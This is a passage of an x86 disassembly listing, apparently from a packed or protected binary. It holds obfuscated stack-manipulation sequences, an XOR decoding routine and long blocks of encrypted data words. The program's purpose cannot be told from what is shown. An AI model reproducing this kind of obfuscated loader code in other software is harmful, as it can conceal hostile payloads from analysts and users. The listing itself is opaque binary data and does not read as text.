[esp] pop esp mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- dd 0B892B23Fh, 60A0B38h, 0E0FFC503h, 3FBC686Bh, 7B6F2BB1h dd 573403AFh, 5A96EE08h, 2714ADFCh, 76EA40EDh, 40AD8161h dd 128AC67Ah, 70801D7Ah, 50E2C2A5h, 4F9DBCB4h, 0B701D4h dd 474C7D48h, 822E04EBh, 68E9087Ah, 31000005h, 0BA0F5D62h dd 29BCD0D9h, 5B2EA247h, 0CB5E32B3h, 65CF9D26h, 0E60BECBAh dd 7A7B1FE2h, 0C8F18316h, 595E3184h, 1C2C6A0Bh, 7104E483h dd 2AB437F9h, 6C2AA243h, 9AF2F799h, 7B1C71CFh, 0C4553876h dd 97D37AF5h, 0D4A3C018h, 375BD1B4h, 0ED16E489h, 7F12EEFBh dd 0C3751798h, 0B5A82109h, 4114770Eh, 0CEEF86EBh, 0B952F6B0h dd 79770EB5h, 7DC4719Dh, 0F665BC33h, 0EE8F127Ah, 0CF5A5F3Dh dd 0F418149Dh, 9CDADBB2h, 0C88025C9h, 114FB057h, 0B7023479h dd 1AEB5539h, 90F57378h, 2CC1F902h, 0A4C8A449h, 618A6BFAh dd 0E3866267h, 787D1011h, 5D30D5EDh, 0DF553058h, 0A94E228Fh dd 4802B43Fh, 0EC167E0h, 0AA06D577h, 6A084296h, 0D7BE0341h dd 0F06EB6D6h, 3A770EC1h, 0F9B3D206h, 0EC1B851h, 0DB510477h dd 6D22D4E8h, 9B9399h, 12C0000h, 0F06AE347h, 3D6770Eh dd 422DC0A5h, 0C9A195C0h, 997F12BAh, 866D7810h, 6CA33EC6h dd 0D169770Eh, 36565B3Ch, 0BDE1D553h, 6CCEA1BBh, 85E99h dd 491C0000h, 1F4A02A7h, 5E0122A1h, 442C2E4Fh, 757E1F96h dd 0DEB7613h, 0F1DC9B78h, 0E50EE04Bh, 0F115AAD4h, 966B15A0h dd 66CDB6AAh, 0F1FA9B66h, 5D620A97h, 31D4820Bh, 7235F64h dd 770E6A8Eh, 0B58967F2h, 0E0480261h, 770E6A67h, 0C7AA06D5h dd 4ADF8D36h, 646AC8A3h, 0B04F1B7Bh, 14F9A725h, 0C9F28481h dd 817F6A62h, 0BC452A02h, 68916302h, 8411FC8Ch, 0FCBE6D7Fh dd 2BCCA342h, 0EF068E1h, 0AB01D477h, 660B4397h, 3072255Dh dd 0C0425165h, 0B5791236h, 10C7770Eh, 0F65B2F85h, 63CE9E1Fh dd 904A648Dh, 0EB51FB8h, 72CE9D77h, 41958B1Ah, 6D115D57h dd 8B1A99h, 2AA50000h, 42DB6F45h, 0BE770EF0h, 8A0C5C2Bh dd 0F0DF78D0h, 8E5D770Eh, 0AFAF42E9h, 3EBAE531h, 0AC3CC5ABh dd 681B4FE5h, 0A021C1B7h, 8AE40183h, 8880D1CFh, 2045233Bh dd 5326AA4Fh, 0C942E6BEh, 37770E2Ch, 2EB3D5A0h, 6409A146h dd 6C791394h, 9129F890h, 2CDA73D7h, 7926770Eh, 26928B6Fh dd 7EFA416Fh, 0A02163Ah, 0E5996D00h, 34h, 0BC452A16h, 0EB3412Ch dd 9821F35Eh, 6B906DF0h, 5084B861h, 163AF6E6h, 5236BB5Ch dd 0A0492A21h, 0F0820028h, 9084770Eh, 5250544Ch, 10F996Dh dd 0A8000000h, 2DBF442Ah, 6E08AD40h, 0F0FB94B4h, 6D0D770Eh dd 4A450048h, 249219Fh, 0DFE4B558h, 585CD88Dh, 179C7234h dd 0AD4B3671h, 0B3515h, 0EA717512h, 77781FE2h, 0C4E98C11h dd 0DFE17C84h, 0CA06710Bh, 8429CC86h, 9E761BEAh, 0BE0118Ah dd 6DF86F71h, 8CC12B4Ch, 4B21558Ah, 3ABB5227h, 8728CF52h dd 0F3A446C5h, 0A2FFE696h, 991EF12Ah, 5E82B632h, 3CD5752Fh dd 80710BE0h, 630A5FD5h, 47D2D3BAh, 41DAE201h, 6E95936Ah dd 26000001h, 0C6675E01h, 345D844h, 716F1AA5h, 48F31139h dd 9A417511h, 67886FF2h, 0F4F99C61h, 41660994h, 0EA177629h dd 3D01D474h, 0CAEF0844h, 0FB71C736h, 0D80C3093h, 0B237D8ADh dd 5C318FDAh, 8728CCB9h, 573580C5h, 4C7104E9h, 6541831Ch dd 0E81941A0h, 889CA71Dh, 47936A50h, 43h, 9E86F0F0h, 5BA4F5FAh dd 29114CF1h, 95B5CD58h, 770E0F2Ch, 732D4510h, 0E0E3ED7h dd 59D78277h, 0E70E931h, 576F770Eh, 1AE79103h, 0E0E950Eh dd 917CEB77h, 0F0871D9h, 0E174770Eh, 0CF6EE3h, 0F0950000h dd 914B6785h, 0F0DA73D7h, 0B326770Eh, 1773EAEEh, 1C98DDF3h dd 11E6420Ch, 15AD3875h, 711B9C70h, 46F09814h, 4F5A595h dd 8563B938h, 7E100DE0h, 7BC6EB8Dh, 0FBE97411h, 6E7E7F16h dd 0B9CD6C6h, 4C710471h, 24E1B11Ch, 87C1AC51h, 4AF41804h dd 0DB8ADE12h, 9C900921h, 0B3EC710Bh, 0FE9255F3h, 6D329978h dd 29ADF84Ch, 4326825Eh, 2A450BACh, 6F29415Fh, 7AC639ACh dd 0A40032A9h, 5C3F984h, 98F0676Fh, 255D6235h, 0CB46DF6Bh dd 0D7BA7705h, 55D3BE3Fh, 22764E35h, 0DDCAA243h, 4D2BB63Bh dd 611997E2h, 81CBEC8Ch, 1A2E68C4h, 74FFC76Fh, 9FCCD8Eh dd 95C632FDh, 23991EF6h, 4A1B5702h, 0C5651DA2h, 710BB74Ch dd 3B4F25B0h, 0AD85F0B8h, 89AA77CFh, 1D55209Dh, 88D820Dh dd 616BFE75h, 90F4F99Ch, 3456A0Dh, 552AE0FBh, 0A8FC3077h dd 0EAFEFF96h, 1D4F7007h, 6B0CE19Bh, 30CD4646h, 0A4336E94h dd 2CD1A5C8h, 0A9FD37BCh, 0EBF9FE91h, 1E4E6F06h, 0CC3h dd 99E4B700h, 0B0D0AEEh, 343C0BCh, 0A6472A80h, 33B45B26h dd 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h, 0D3D4B805h dd 0B942D4B9h, 8B1422Fh, 89570B40h, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 241C895Ch, 306668h, 241C8900h, 81E18951h dd 4C1h, 4E98300h, 5C240C87h, 51243C89h, 0A0C1BB9h, 595B5106h dd 243C8B54h, 4C481h, 0B8500000h, 8, 7501005h, 2DF80134h dd 34075010h, 0FF581889h, 835F2434h, 34FF04C4h, 0C4815B24h dd 4, 0F96BECE9h, 793D40FFh, 0BEC9319Ch, 0B8EF5C48h, 60A110Ah dd 0E0FFC503h, 4C5710C4h, 485F6461h, 517F8F33h, 16681AE8h dd 19E547B6h, 0C485FC4h, 22C2F1F4h, 6DD4198Ch, 12478D8Dh dd 8D89060Ah, 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 49C35545h, 0F18B66F7h, 1E185C7h, 6C800603h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0D99C61C3h, 84A42B3Ah, 0E99D641Bh, 0Ch, 0D0F7A54Fh dd 8DBC41C3h, 74A859BCh, 21BD85C7h, 603h, 9D0B0000h, 6030951h dd 625B5FFh, 9D890603h, 6031B85h, 269195FFh, 958B0603h dd 6032FE1h, 95FF006Ah, 6031FB9h, 0DEBC08Bh, 7FE905EFh dd 0D36B60E2h, 8A9059D4h, 0CE04EB2Dh, 0E93BE5FAh, 0CAAh dd 0A13F768h, 6AF7E906h, 3468FFF9h, 0E9060A15h, 0FFF96AEDh dd 0A173268h, 6AE3E906h, 2768FFF9h, 0E9060A18h, 0FFF96AD9h dd 0A1B0F68h, 6ACFE906h, 6D68FFF9h, 0E9060A1Ch, 0FFF96AC5h dd 0A1D9B68h, 6ABBE906h, 0F180FFF9h, 683598CCh, 0D6B80D43h dd 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch, 73119A7Fh, 0E7E50AEEh dd 157B8012h, 84C8ED80h, 0F46DBDFDh, 487104DEh, 432A3BB8h dd 996C2AA2h, 1578F4F9h, 866B7D82h, 596237F4h, 0D3D19AF2h dd 9F20F78Fh, 476C02E3h, 80E44005h, 31575C3Dh, 0E47DCD87h dd 58770EF0h, 0B73CDE8Dh, 0C4C15439h, 1DA67730h, 0D9B31E4Bh dd 0DAA7218Ch, 91DEB233h, 0A0B102E6h, 6235DB32h, 4C21DB97h dd 3B7001AAh, 5DF45C44h, 0DBB19917h, 59751138h, 9532DAB2h dd 93710B18h, 657F79ADh, 62936976h, 34h, 6785F09Dh, 0FF4DFF4Bh dd 14C37511h, 0DDE68B5Ah, 0A62DE8Bh, 0BDF65E2h, 6607A371h dd 0F8506E8Fh, 710BDF5Fh, 8EB20EDDh, 41465E5Ah, 0B401936Ah dd 0B2000000h, 6B8C6C01h, 0E5886461h, 3DFBED12h, 0AFD7429Ah dd 1FF5F74h, 66668B6Ch, 99F3F49Bh, 0D2A46134h, 0FE0E4229h dd 770E510Eh, 4004A94Ch, 0F3951AFDh, 8F2BC9B4h, 5F6030D5h dd 26BF8B0Dh, 9A770E50h, 0A48460CFh, 7511613Ah, 0A91775E0h dd 0E32886F6h, 0A9073BA4h, 3D75731Eh, 8BDDFEDh, 0F08E5D6Fh dd 11777C1Dh, 0AFC6EB8Ch, 0E6D91988h, 61A0BD4Dh, 0DD00000Ah dd 462BB93Eh, 0F5580CB5h, 67CA9E23h, 977A6E8Fh, 19EBF902h dd 0C2E788DEh, 56573B8Eh, 24CDAF32h, 0B53ADDA0h, 20088ED7h dd 7104DDA7h, 2A806315h, 6E28BC45h, 95F7F89Fh, 7E1174F0h dd 0F0686B79h, 0FF4B6785h, 7511FF4Dh, 3D0DC7C3h, 710BDFA4h dd 0C25B4D18h, 3E710BDFh, 2F7016ABh, 4EEC2DD1h, 0C441E9E3h dd 40710B49h, 7E2BECA6h, 4EF807C7h, 0BFF069A3h, 7300710Bh dd 484B1E4Eh, 79139865h, 172B816Ch, 20CFD5C3h, 0F288936Ah dd 0EE000000h, 14747D1Fh, 7B801271h, 7BF87411h, 2AA2432Ah dd 5F09B247h, 920B1FD9h, 0EE770EF0h, 62C9F283h, 6666876Fh dd 0D5A58563h, 2C770EF4h, 58A10B6Bh, 216C0DB6h, 592C88AFh dd 0CE5331B6h, 50C68627h, 0B4D4D9BDh, 0A1EC5BD1h, 59C36703h dd 0C77511A1h, 0DFB75610h, 79A43D0Dh, 4D18710Bh, 49660AE6h dd 0DB6583Eh, 0A05708A6h, 0EDF10128h, 0A8803EBAh, 6F0975ABh dd 6C308809h, 0FD7F9491h, 58793656h, 58270EBCh, 0F9AA4F1Eh dd 41079217h, 940D1DD7h, 0E87707F3h, 95FBF4B7h, 44D38D88h dd 0CFF485E8h, 0D93B9FB4h, 578A62E6h, 924h, 167A7B1Eh dd 9BC9F283h, 355B6036h, 0A52BCCA0h, 0D6BA3FD0h, 24F5A15Ch dd 9464C99Fh, 0AE87D13h, 771EE3E1h, 47431276h, 4DB6AE3h dd 4526D671h, 28BC452Ah, 0F1FA9F6Eh, 7E7F167Bh, 39D9AC6Ah dd 3BB1D4B4h, 0A2432AB8h, 0FB0472Ah, 0F4FD9273h, 177BF194h dd 0EF04AC7h, 5B3CD177h, 0D5533656h, 0B4D8DDB0h, 4579490Ah dd 6E2A4B78h, 18946388h, 4B1DA275h, 0FEEE0FE6h, 0EBA3F72Dh dd 26C7E304h, 0B3D7AD52h, 6D3D6C70h, 0C56B99h, 0F0940000h dd 0FF4B6785h, 75120911h, 0E830580Fh, 710BC86Bh, 41577BB9h dd 936A263Bh, 0CEF38568h, 0A16872h, 6F8B0000h, 770EF0F1h dd 7630AED9h, 11FB58D2h, 0B6B9E675h, 0BF04DB23h, 0A63F0BA7h dd 1A710B82h, 19ECE04Fh, 0B6E0B978h, 7F683C81h, 67618A68h dd 0B2F59762h, 0CE9129C7h, 162A3749h, 9DDB5115h, 0DB6F29E3h dd 710B0A42h, 68E12BBEh, 0D4710B0Ah, 0B583AB01h, 0A36F0E18h dd 2FCD5034h, 0FB58F159h, 31A4770Dh, 0A37422AAh, 0F7AF32Bh dd 0B3E47430h, 0A8F4070Dh, 0C0E98EDDh, 0D867DD88h, 9821F7ADh dd 700E95F0h, 0DB63DAAFh, 9E72944h, 24A5FB4Fh, 0C637511h dd 4207416Ah, 0FF4A6B0Fh, 4B974E9h, 0F08F0000h, 0FF4B6785h dd 75120C6Dh, 0EB7A34A3h, 620AE607h, 95D7E3B4h, 5B2D305Eh dd 0E75D6634h, 0BCA4AC7h, 6620C671h, 0BCA49C2h, 9F20B771h dd 0A595E834h, 4E72CE71h, 21061E1Ah, 78C1936Ah, 72000004h dd 0D8A347EEh, 0D68C9CDAh, 54751209h, 0C15DF652h, 34A3710Bh dd 987C11A9h, 56CF5B17h, 0AA710BC1h, 2404413Fh, 0D7C8F254h dd 0F7B3315Ch, 4BEA6D53h, 4C1CCBC5h, 1452503Bh, 47A6E334h dd 0A54A59CBh, 2A7491Ch, 0E941FBB7h, 0C74BAC70h, 0E5A319CCh dd 32B35A2Bh, 0DCB10F5Ah, 4DD0B439h, 0FB6A05AAh, 26491C0Eh dd 7268B46h, 79180000h, 0F08D1074h, 5E3085CBh, 0CAA23755h dd 3DD2A725h, 0A352D0B4h, 0CB9922F7h, 7F6D9266h, 0EDE308EAh dd 1C707518h, 6CE54545h, 0D07104D9h, 5E014320h, 0C8DA35F9h dd 0F2F39B86h, 11E48967h, 0C0CBFCECh, 5EA48422h, 0DC751179h dd 0FE9C7109h, 700297F5h, 8EDEDFB3h, 9A1C4CDBh, 209C25CBh dd 0B518F08h, 6167E471h, 0D3B2710Bh, 2EFAB43Dh, 710B61B5h dd 57E05C0Bh, 36F08E2Ch, 9EF4BF57h, 3907F7EAh, 0C287C1ACh dd 0B744666h, 7FEA6F0Fh, 0C248C56Dh, 16F8770Eh, 8116FBEDh dd 81B31078h, 6ED2FD5Dh, 24263E3Ah, 1321996Dh, 52000000h dd 4B6785F0h, 120BA5FFh, 9CCC9B75h, 2741h, 85F0FC00h, 27D35AADh dd 84901311h, 0E98A2F44h, 7D35802Fh, 11D40FADh, 31C6AD75h dd 721A9F70h, 34C58817h, 2BA8208Fh, 3A2432Ah, 0E6DF4A06h dd 312E23CBh, 0D000006h, 0B61B496Eh, 2588DCE5h, 573AAE53h dd 0C7AA3EBFh, 69DB8932h, 9217F8AEh, 66876BFEh, 0F4FD9F62h dd 456A0D90h, 10387E07h, 7104D877h, 0F0B033C5h, 0FF4B6785h dd 751208EDh, 340E9344h, 0B7BA6467h, 0F470DFE0h, 0F35E0EDDh dd 25F59B1Ch, 4E46D227h, 0EC821F2h, 0EAE203EBh, 0C00DAFFh dd 525724ABh, 811F69D6h, 0DBD9A4C3h, 0F0ED8B9Fh, 592C53C8h dd 0F5A32B7h, 83C590B1h, 30545D3Eh, 0D0EE0C77h, 0F2993216h dd 0A8804FC2h, 4FC2F22Fh, 10C7DE8Dh, 7C4EDA94h, 0F24DC60Fh dd 40DD6567h, 0F055C61Eh, 63CE9E23h, 0FAFF9D8Eh, 76AE7D6Fh dd 53C19022h, 86A25C0Fh, 55C61F0Dh, 4FD3E473h, 214926B4h dd 152F1490h, 0D2782532h, 112h, 8C6C016Dh, 0F99C616Bh dd 6AF194F4h, 5856218Eh, 9180A1Eh, 43167512h, 2CD1A409h dd 0BD42D5B8h, 0EF05032Bh, 251B4E46h, 0CAC192F1h, 0AD13A7E4h dd 0E689DC58h, 573E83C1h, 9A2CA585h, 0C59055C6h, 127871B4h dd 0F65D723Ah, 6847D5B8h, 0CA9B0C0Ah, 9E1AE142h, 0DF9748CEh dd 0F132E38h, 0D0CEDE5Ah, 84330122h, 4B2264A8h, 0BC5326AAh dd 6E16513Bh, 0B4D4DDB2h, 1C2C4AD1h, 710B2263h, 115E32D9h dd 1A2E4866h, 6F0E2B48h, 947913C6h, 5E8FC01h, 9D1B4D72h dd 0CB9D26C8h, 790A229Eh, 0BB770E1Fh, 0D1BC2CD5h, 0ABD0B83Dh dd 70F54589h, 0E87DE83Ch, 80193107h, 0FC770E1Fh, 9FCA8269h dd 4A94C21h, 4781B840h, 0DFA9233Ah, 5B1583C1h, 0BA0756CFh dd 35C7AA02h, 2289DC8Ch, 0AB4C2346h, 0A9D01921h, 82480F9h dd 0CAEB82C4h, 0B035D9ACh, 1EA375D8h, 308C1B4Eh, 8126C95Ch dd 1DD5A0C7h, 82A7A47Ah, 24422964h, 0FECB9A04h, 0B7D58082h dd 4852h, 85F0E100h, 0B9914B67h, 770EF020h, 3573C99Ch dd 120BBB15h, 9CDA8175h, 0F85028C9h, 710BC35Fh, 29A30EDDh dd 0C5A8C0BCh, 63DDB338h, 4A7A29B0h, 0AC0816E1h, 0A2042BEBh dd 0E6A0DEDAh, 0F24E6F07h, 0AF139DAh, 0F820B771h, 0A2432A7Bh dd 0F8F6812Eh, 0DFC6ABEh, 0AF3A7512h, 1BA07213h, 38E98E5Fh dd 6CC85758h, 0C2E7B518h, 1492FD8Ah, 0D688CE5Ah, 73E66F0Eh dd 0C454F119h, 4B36770Eh, 433515ADh, 397511E1h, 0C27C3A52h dd 0BF0ED66h, 28845371h, 0BF08300h, 0D8DDBD71h, 0AB502DB0h dd 90C47821h, 7DA19F26h, 6A52617Bh, 181E93h, 0F0990000h dd 0FF4B6785h, 75120BA5h, 0D3B2CC9Bh, 0AF3FB53Eh, 24B2h dd 85F0C100h, 41FF4B67h, 0FF7511EFh, 0DEBF4E68h, 492EB3D5h dd 0D6BD28A0h, 0E184325Ah, 7F841613h, 17ED786Dh, 975E019Ch dd 6953F4FBh, 9A4537B4h, 0EA64C9C5h, 9E1AE106h, 0E08324CBh dd 0E6DF946Dh, 4905D8B0h, 25000003h, 0AE335156h, 0DDA024CDh dd 4FD2B63Bh, 0FF4206A7h, 71F3911Ah, 0FAFF90C6h, 4E6F0396h dd 0DCE5B71Ah, 0AD522588h, 820663Fh, 7104D58Fh, 2A985BEDh dd 32B35A43h, 5434BD5Fh, 5F22AA31h, 165137B8h, 0DEE3B56Bh dd 0A952238Eh, 70DFAA3Fh, 33AC7C36h, 89770EF0h, 2866C2h dd 7512004Ah, 0E17ACEC8h, 5F710BE0h, 83AB3D88h, 710BE106h dd 35575C3Eh, 0AA22C7A8h, 0B9194DE3h, 0F2E62A16h, 936A3DEAh dd 4AE5h, 47011600h, 0EF06AE3h, 16FBD677h, 3EEFBEDh, 0AE0AAF4Ch dd 3E787601h, 0CB326E9Dh, 3ADE4385h, 2BB6D3B5h, 8537134Dh dd 9C7511C6h, 2A862BC9h, 43225C0Bh, 0DCAC08B1h, 0BC89734h dd 7BAF9571h, 6A2A677Dh, 0EC6093h, 1930000h, 6464896Ch dd 0E6C99FABh, 8D188E51h, 0F0BB5237h, 0CD945473h, 76D2EC76h dd 770E1EDDh, 9129B423h, 1E9A1FFCh, 1D0EE34Eh, 71147479h dd 781FE2EAh, 0E5881577h, 8C7C8CC0h, 0CE770E23h, 54C28627h dd 41ADE083h, 45231EF8h, 20A84D20h, 0C0FEFC87h, 0E7A92206h dd 4017770Eh, 709EAAE4h, 0EE751205h, 2F5A157Bh, 7C09157Bh dd 5B26CA8Bh, 6C160B1Fh, 47126F09h, 0CB55A2Bh, 670FDE58h dd 0F287EA46h, 0CFC5B6C9h, 0E484E6D9h, 1EB69h, 33B44700h dd 862BC85Dh, 10997FC2h, 0E005E97Ch, 737819ECh, 3268971Dh dd 0AD30545Dh, 0D1A428CDh, 472ABE43h, 38590FB0h, 0D431AA7Eh dd 0FD8F7104h, 886C017Eh, 13E48967h, 3216D0EEh, 770EF099h dd 90F470E7h, 0DCBD6A0Dh, 9A0448D7h, 0F75329CBh, 770EF05Eh dd 20A837A2h, 0AD5226A5h, 5E015CD7h, 3677BF0Ah, 98279D95h dd 0F9B3CFEDh, 807C8114h, 117116A8h, 87C19475h, 0B51E27Fh dd 777C1271h, 0C6EB8815h, 0FD211F86h, 0DA0E325Dh, 69B2C6DEh dd 0DC8193h, 1320000h, 2FD4A647h, 0EF064FDh, 4ADED877h dd 770EF0D1h, 572DB82Fh, 325A5B32h, 8690D384h, 72FC69F1h dd 26FE93F6h, 0E098902h, 0FB98F777h, 0CC9C6BF6h, 0E0E5424h dd 0CEEF8677h, 6CFEFB0h, 5852092Eh, 325731BAh, 0D0A5C9A7h dd 97D0B83Dh, 0DDB0CEECh, 0B1D4B439h, 9FAD7D3Bh, 1D7511C4h dd 87148D9Dh, 0FD68710Bh, 0E3B55816h, 900E62DEh, 8B6D1AFDh dd 921D9B66h, 5E6331E7h, 0B2CC5B0Eh, 9226096h, 6F0BDE6Fh dd 9CF0F99Eh, 20436809h, 0E6D98D59h, 0BDE96404h, 0B1000000h dd 3A8FDDE2h, 0A93C5059h, 0DBAE22C7h, 4BDEB233h, 0E54F1DA6h dd 668B6C3Ah, 0FAFB9F62h, 48710396h, 0D9DEB104h, 9CACEA8Bh dd 7104D403h, 134B779h, 0F06AE347h, 3D6770Eh, 8A2FC0A5h dd 1B9C73C6h, 432A0E75h, 936104A2h, 8D6B7E6Eh, 787D10FDh dd 0B2305B14h, 0C7AB3AF4h, 37E9A626h, 36107AD0h, 78502CBBh dd 7508F604h, 0A8355702h, 0D9AC20C5h, 0FD7B136h, 63DC38D5h dd 61396DC3h, 967B698Eh, 28EEFEFFh, 2F18D777h, 29DC821Bh dd 566BFE3Bh, 11EFFC44h, 7517987Ch, 0D6B94C0Eh, 33675BD1h dd 7D13947Bh, 0E8E005E8h, 0F75h, 5E018800h, 791ADE4Bh dd 60A82F70h, 0EAE9A503h, 26A6472Ah, 5933B45Bh, 0CB9D26F4h dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h dd 4008B142h, 0E689560Bh, 4C681h, 0EE810000h, 4, 5C243487h dd 68242C89h, 7FEAh, 68241489h, 5652h, 51243489h, 3F3C16B9h dd 2CC98115h, 52487126h, 0C330A7BAh, 42DAF758h, 1B36F281h dd 0D1010FB6h, 59CA895Ah, 4EC81h, 24890000h, 24048124h dd 4, 4EC835Eh, 8F241489h, 348B0846h, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 5724148Bh, 0C781E789h, 4 dd 8704C783h, 0E95C243Ch, 0FFF95E59h, 7DB8D30Eh, 3060A1Eh dd 35E0FFC5h, 0F44D0B36h, 0DF17D84Ch, 6018D04Ah, 4E16D716h dd 940C3F17h, 7349D3F7h, 0A32E006h, 7F1E8BB8h, 1D43D768h dd 626F5E4Bh, 3741C812h, 17FC528h, 70D097Fh, 0AB6B249Bh dd 6144CE45h, 842413Bh, 6E0D57B4h, 0F827F53Fh, 0D02A3F3Bh dd 0BA7489F1h, 5A6FE613h, 115BD87Dh, 2A488616h, 8948B9E6h dd 697280FEh, 993C665Dh, 0B474424Dh, 68069ED0h, 0EB1239BDh dd 703BA204h, 511E90Ch, 0DDBC0000h, 5421B4D8h, 0C25439AFh dd 2EC6AB39h, 0A176DB89h, 3FFE7418h, 6F7D866Bh, 93F1F69Ah dd 1476C0Eh, 0B0D4D9BCh, 881A9E1h, 747104D2h, 432A27C4h dd 0DCC44B68h, 4BE20881h, 4B30D8A1h, 0D8B92CBBh, 412CB9D3h dd 1AFC9107h, 1692F791h, 77159E73h, 0E2EA0BE2h, 1577781Fh dd 86C6EB88h, 8EFD211Fh, 86B83BCDh, 65C30698h, 4486D00h dd 9C25CB9Ah, 0AAF4D20h, 9821F346h, 688D6DF0h, 15397B60h dd 9F58A576h, 67F2C449h, 0ED16E489h, 62836AFFh, 0C744C26Ah dd 19FE770Eh, 0C76EE743h, 7D2770Eh, 0AC4DD0B8h, 31ED4507h dd 1206ADEDh, 28D2EACEh, 538D996Dh, 2E000000h, 2AA2432Ah dd 0EF08702h, 43978577h, 6D524F55h, 10899h, 2AAB0000h dd 3ED77349h, 82770EF0h, 742E48D7h, 0EF03BD4h, 5EDA8177h dd 17E5880Eh, 11EFFA92h, 721A9F7Ch, 791E07EFh, 3AE3E570h dd 0FB98D206h, 680F92F6h, 0F6970147h, 95F09821h, 452AA41Fh dd 0B4412CBCh, 0CA8223F7h, 0F558309Fh, 61CC9C21h, 73616B90h dd 16BF1F43h, 2CA58354h, 4322280Ch, 0EF456E0Ch, 2ACF87CBh dd 0B055C381h, 0AE4F27E0h, 6D0065C3h, 0DBBD0048h, 25F598D6h dd 175EF753h, 37A2770Eh, 26A520A8h, 0A421AB50h, 39DDA0C8h dd 0AC49D4B4h, 6FCA4507h, 17BC54D6h, 0B5F67DFh, 27BAF41h dd 5B261F87h, 0D0C01408h, 996D42DCh, 849Bh, 452A2400h dd 86BFB76h, 53F7939Dh, 770E67BAh, 79C45306h, 0C7EC826Fh dd 0A05A1C85h, 0E680F88h, 2FE6D77h, 0BF50EA3Eh, 2EC3563Ah dd 0CFA6FC4Fh, 93F28728h, 3DAF3A42h, 513BBC50h, 18184CF0h dd 996D1414h, 71D3h, 1EEFA900h, 4D187079h, 0EBEC25Bh, 0CDAB3E77h dd 0BC452A56h, 658E6302h, 0E28A6663h, 3A747D1Fh, 0A820C9ABh dd 0D5979C3Dh, 7D8D56F0h, 0D30FE787h, 5322F78Fh, 751254B3h dd 0DB89148Bh, 8C6C0198h, 1BF88D6Bh, 98678C6Eh, 0D5A746F0h dd 5F4BD2E6h, 0F8478D2Ch, 6DBDF590h, 770E82F4h, 7279D48h dd 770E8289h, 6F499D83h, 996CE455h, 112h, 442AAD00h, 5D0FB047h dd 6D2BBD08h, 0FC32B7AAh, 0E05CCC6Dh, 83C5EA8Dh, 0FEB0E4D8h dd 0B2FD9318h, 0B99129C7h, 7511408Fh, 0A30E5E0Dh, 0D0A52BCCh dd 6FFEB83Dh, 67626A8Bh, 0BE59E189h, 76710B42h, 0EC711BA0h dd 0F0E2EA0Fh, 2FC698CCh, 3C8BDE8Eh, 1A5C80BCh, 7A347273h dd 0B4235AEh, 60DC8B71h, 0D1D6B90Ch, 71432AB7h, 2D584CAEh dd 10BE3A0h, 710B9288h, 0F29A61F4h, 26F49951h, 0CF13279Dh dd 9589FB9Ch, 0BC1715E8h, 25CAADC0h, 64788CA7h, 1C779369h dd 80000001h, 4B6785F0h, 1208E1FFh, 0CF5B5F75h, 710BC856h dd 0C35CECAAh, 39710BC8h, 0EC80C752h, 79C481CBh, 0CAEB826Fh dd 0A7751886h, 2CC3A602h, 0B657C18Bh, 0DA8FD9DEh, 43640B5Eh dd 769A9A09h, 3054593Ch, 6A29E9F3h, 65E693h, 1110000h dd 91B98F6Ch, 770EF0F8h, 0AE0A9144h, 41797701h, 0E811E687h dd 0F0D33C0Ch, 8249770Eh, 4B7001E4h, 1B4D7604h, 729AF24Eh dd 770EF0D9h, 894B884h, 86407E7Eh, 0EF029A2h, 0B637DB77h dd 0F90B3D6h, 6B4714E6h, 4F25B002h, 0F3D03911h, 534C770Dh dd 16D41DFDh, 0BA2EB5E3h, 678C69FCh, 6D9489h, 0F02F0000h dd 0F1FA9F85h, 0FA9FF297h, 67F297F1h, 1415FF4Bh, 5C0B7512h dd 29CEA10Ch, 0BE3FD6BBh, 0CC16062Eh, 9D51710Bh, 935E3149h dd 86EBA09Ah, 0BD8D25F3h, 710BC324h, 6266CD98h, 2BC3A45h dd 5CD2426h, 9DCF9A6Fh, 30585D30h, 0FDECCBADh, 0A7BB06DCh dd 0E87517E2h, 38EBFD06h, 8566D004h, 8EF97BAFh, 0D0F25610h dd 2E74FF57h, 0F0AED5BBh, 0BA4B6785h, 19572DD2h, 8FA0F31h dd 582D6D75h, 821B0DB6h, 0FE7104D1h, 61CC9C6Bh, 0BD7B698Eh dd 0D1AE2703h, 0BD5E7104h, 0F24E1D34h, 95F7F89Fh, 4EDAEE4Dh dd 0C2162A7Bh, 2C0AE588h, 4B4995DEh, 7CC18712h, 0E9741499h dd 0E3E8E005h dd 32C59DC1h, 0A34ADF8Dh, 39CC4A02h, 5035575Ch, 11C1D4h dd 0D4B90000h, 0BC29A344h, 6C0143C0h, 67626A8Fh, 2AD6CD89h dd 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h, 0D90F801h dd 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h, 388268h dd 243C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edi mov edi, 60A1F96h mov ebp, edi mov edi, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 push ebp xor dword ptr [esp], 13612BC2h pop dword ptr [esi+8] push edx mov edx, 8 add edx, esi xor dword ptr [edx], 13612BC2h pop edx mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_5439D9 ; --------------------------------------------------------------------------- dd 0B8708B33h, 60A241Ch, 0E0FFC503h, 214069Fh, 65BD3187h dd 12AB7917h, 75FF0618h, 240ADB5Ah, 40A47077h, 4CE5F0CEh dd 3A1504EBh, 0B5E95F95h, 0FD000004h, 66CB991Eh, 95786C95h dd 7EAFE03h, 0B71A4E6Fh, 398BD9E2h, 22C7A8FEh, 0B637DBAEh dd 4AD4FD2h, 951AFD40h, 40E8AEF7h, 7104CCC7h, 2AE08335h dd 472AA243h, 0F65B09B2h, 63CE9E1Fh, 9C616B8Ch, 2B92FAFFh dd 0E689C115h, 5C3E83C1h, 0E6873157h, 